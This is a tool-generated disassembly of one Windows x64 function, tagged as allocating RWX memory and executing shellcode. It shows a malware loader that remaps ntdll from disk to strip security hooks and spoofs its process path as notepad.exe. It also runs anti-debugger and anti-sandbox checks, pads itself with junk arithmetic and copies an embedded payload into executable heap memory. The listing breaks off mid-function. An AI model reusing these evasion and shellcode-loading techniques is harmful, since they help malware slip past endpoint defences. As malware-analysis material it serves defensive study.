Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x858
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x800], ecx
mov qword [rbp + 0x808], rdx
call fcn.140002e60
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x758], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x750], rax
mov dword [rbp + 0x7cc], 0xffffffff
mov ecx, 0xe50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
add dword [rbp + 0x7cc], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7cc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
movsd xmm1, qword [0x1400065e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7cc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x7cc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
movq xmm1, qword [0x1400065f0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x7cc], 0x1c8
jle 0x1400014c4
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x740], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c0], rax
cmp qword [rbp + 0x7c0], 0
jne 0x1400015ee
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c0], rax
cmp qword [rbp + 0x7c0], 0
je 0x140001ec9
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
mov rax, qword [rbp + 0x740]
mov r10, qword [rbp + 0x7c0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x738], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x738]
add rax, rdx
mov qword [rbp + 0x710], rax
mov dword [rbp + 0x7bc], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x7b0], xmm0
add dword [rbp + 0x7bc], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7bc]
movsd xmm0, qword [0x1400065e8]
addsd xmm0, xmm1
mov rax, qword [0x140006600]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f20
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x7bc]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065e8]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x7b0]
addsd xmm0, xmm1
movsd qword [rbp + 0x7b0], xmm0
cmp dword [rbp + 0x7bc], 0x6d
jle 0x140001730
movsd xmm1, qword [rbp + 0x7b0]
movsd xmm0, qword [0x140006608]
mulsd xmm0, xmm1
movsd qword [rbp + 0x7b0], xmm0
mov word [rbp + 0x7ae], 0
jmp 0x140001eb1
mov dword [rbp + 0x70c], 0
mov ecx, 0x1950
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x700], rax
mov ecx, 0x1950
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f8], rax
mov ecx, 0x1950
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f0], rax
mov dword [rbp + 0x7a8], 0
jmp 0x140001909
mov dword [rbp + 0x7a4], 0
jmp 0x1400018f5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7a8]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x700]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7a4]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7a8]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x6f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7a4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a4], 0x23
jle 0x140001834
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x2c
jle 0x140001825
mov dword [rbp + 0x7a8], 0
jmp 0x1400019e6
mov dword [rbp + 0x7a4], 0
jmp 0x1400019d2
mov eax, dword [rbp + 0x7a8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x700]
add rdx, rax
mov eax, dword [rbp + 0x7a4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7a8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6f8]
add rdx, rax
mov eax, dword [rbp + 0x7a4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7a8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6f0]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x7a4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a4], 0x23
jle 0x140001934
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x2c
jle 0x140001925
mov rax, qword [rbp + 0x700]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x710]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x710]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7ae]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6e8], rax
mov ecx, 0x298
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov ecx, 0x298
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x79c], 0xa5
mov dword [rbp + 0x7a0], 0
jmp 0x140001ae1
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7a0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0xa5
jle 0x140001a94
mov dword [rbp + 0x7a0], 0
jmp 0x140001b40
mov eax, dword [rbp + 0x79c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov edx, dword [rbp + 0x7a0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x79c], 1
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0xa5
jle 0x140001af9
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6e8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001ea0
mov dword [rbp + 0x554], 0
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x738]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x554]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x720]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x738]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x6d4], 0
mov ecx, 0xd5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov ecx, 0xd5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov ecx, 0xd5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x798], 0
jmp 0x140001d44
mov dword [rbp + 0x794], 0
jmp 0x140001d30
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x798]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x6c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x794]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x798]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x6c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x794]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x794], 1
cmp dword [rbp + 0x794], 0xe
jle 0x140001c6f
add dword [rbp + 0x798], 1
cmp dword [rbp + 0x798], 0x38
jle 0x140001c60
mov dword [rbp + 0x798], 0
jmp 0x140001e21
mov dword [rbp + 0x794], 0
jmp 0x140001e0d
mov eax, dword [rbp + 0x798]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6c8]
add rdx, rax
mov eax, dword [rbp + 0x794]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x798]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6c0]
add rdx, rax
mov eax, dword [rbp + 0x794]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x798]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x794]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x794], 1
cmp dword [rbp + 0x794], 0xe
jle 0x140001d6f
add dword [rbp + 0x798], 1
cmp dword [rbp + 0x798], 0x38
jle 0x140001d60
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov edx, dword [rbp + 0x554]
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x738]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x554]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7ae]
add eax, 1
mov word [rbp + 0x7ae], ax
mov rax, qword [rbp + 0x710]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7ae], ax
jb 0x1400017d9
mov dword [rbp + 0x55c], 0
mov rax, qword [rbp + 0x758]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov ecx, 0xb40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
mov dword [rbp + 0x790], 0
jmp 0x140001f5f
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x790]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movsd xmm1, qword [0x1400065e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x790], 1
cmp dword [rbp + 0x790], 0x167
jle 0x140001f11
mov dword [rbp + 0x790], 0
jmp 0x140001fc9
mov eax, dword [rbp + 0x790]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x790]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x790], 1
cmp dword [rbp + 0x790], 0x167
jle 0x140001f77
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x560]
lea rax, [rbp + 0x55c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6b0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x568]
add rax, 0x3c
mov qword [rbp + 0x6a0], rax
mov ecx, 0x5a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov ecx, 0x5a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x788], 0x169
mov dword [rbp + 0x78c], 0
jmp 0x1400020a2
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x78c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x78c], 1
cmp dword [rbp + 0x78c], 0x169
jle 0x140002055
mov dword [rbp + 0x78c], 0
jmp 0x140002101
mov eax, dword [rbp + 0x788]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, dword [rbp + 0x78c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x690]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x788], 1
add dword [rbp + 0x78c], 1
cmp dword [rbp + 0x78c], 0x169
jle 0x1400020ba
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov ecx, 0x3480
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov ecx, 0x3480
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov ecx, 0x3480
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x784], 0
jmp 0x14000226d
mov dword [rbp + 0x780], 0
jmp 0x140002259
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
imul edx, ecx, 0x64
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x784]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x688]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x780]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
imul edx, ecx, 0x64
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x784]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x680]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x780]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x29
jle 0x14000218e
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0x4f
jle 0x14000217f
mov dword [rbp + 0x784], 0
jmp 0x14000235f
mov dword [rbp + 0x780], 0
jmp 0x14000234b
mov eax, dword [rbp + 0x784]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x688]
add rdx, rax
mov eax, dword [rbp + 0x780]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x784]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x680]
add rdx, rax
mov eax, dword [rbp + 0x780]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x784]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x678]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x780]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x29
jle 0x140002298
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0x4f
jle 0x140002289
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x558], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x558]
mov r8, qword [rbp + 0x670]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x558]
cmp eax, 1
je 0x140002d97
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x668], rax
cmp qword [rbp + 0x668], 0
je 0x14000246d
mov rax, qword [rbp + 0x668]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov ecx, 0
call rax
mov dword [rbp + 0x77c], eax
cmp dword [rbp + 0x77c], 0xffffffff
je 0x140002d97
mov ecx, 0x7c1
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x7c1
jne 0x140002d97
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x658], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x650]
mov r9d, 0x3000
mov r8d, 0x493
mov edx, 0
call rax
mov qword [rbp + 0x658], rax
cmp qword [rbp + 0x658], 0
je 0x140002d97
mov ecx, 0x702
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x702
jne 0x140002d97
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x648], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x16a4280
mov ecx, 0
call rax
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
je 0x140002d97
mov rax, qword [rbp + 0x648]
mov edx, 0x16a4280
mov rcx, rax
call fcn.140004b80
mov rax, qword [rbp + 0x648]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov ecx, 0
call rax
mov dword [rbp + 0x634], eax
cmp dword [rbp + 0x634], 0xffffffff
je 0x140002d97
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x628], rax
cmp qword [rbp + 0x628], 0
jne 0x140002d97
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x620], rax
cmp qword [rbp + 0x620], 0
je 0x1400026e3
mov rax, qword [rbp + 0x620]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov ecx, 0
call rax
mov dword [rbp + 0x778], eax
cmp dword [rbp + 0x778], 0xffffffff
je 0x140002d97
mov dword [rbp + 0x614], 0x393
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x600]
call rax
mov dword [rbp + 0x5fc], eax
mov eax, dword [rbp + 0x614]
mov r8, qword [rbp + 0x608]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x600]
call rax
mov dword [rbp + 0x5f8], eax
mov eax, dword [rbp + 0x5f8]
sub eax, dword [rbp + 0x5fc]
cmp eax, 0x361
jbe 0x140002d97
lea rax, [rbp + 0xc0]
lea rdx, [0x140006148]
mov ecx, 0x92
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x750]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x750]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5f0]
mov r8d, 0
mov edx, 0x492
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x5e0]
mov r9, qword [rbp + 0x5e8]
mov r8d, 0x492
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x758]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d0], rax
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x5d8]
mov r9, qword [rbp + 0x5d0]
mov r8d, 0x492
mov rcx, rax
call r9
mov dword [rbp + 0x770], 0
mov dword [rbp + 0x76c], 0
movabs rax, 0x3769707bfb5a681f
movabs rdx, 0x55c4a80d17606a60
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xc43db0306f349ee4
movabs rdx, 0x711b6a06753b8bd7
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x379cf76a13c8b3aa
movabs rdx, 0xe594bfa664ab9c37
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xc7f4f6569ad8dd46
movabs rdx, 0x4e9000713e85bf38
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov dword [rbp + 0x4f], 0xea164e
movabs rax, 0xba55305cceca6b31
movabs rdx, 0x78ca4767254e5c75
